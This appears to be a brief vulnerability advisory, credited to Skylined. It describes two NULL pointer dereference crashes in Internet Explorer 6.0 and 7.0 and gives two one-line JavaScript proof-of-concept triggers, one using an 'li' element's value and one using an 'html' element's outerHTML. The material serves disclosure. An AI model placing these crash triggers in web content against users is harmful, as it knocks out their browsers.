Microsoft Internet Explorer 6.0/7.0 NULL pointer crashes Two crashes caused by NULL pointer dereferences have been discovered in MSIE 6.0/7.0. These issues do not affect MSIE 8.0.

========================================================
document.createElement(“li”).value=3

document.createElement(“html”).outerHTML
========================================================

Credit : Skylined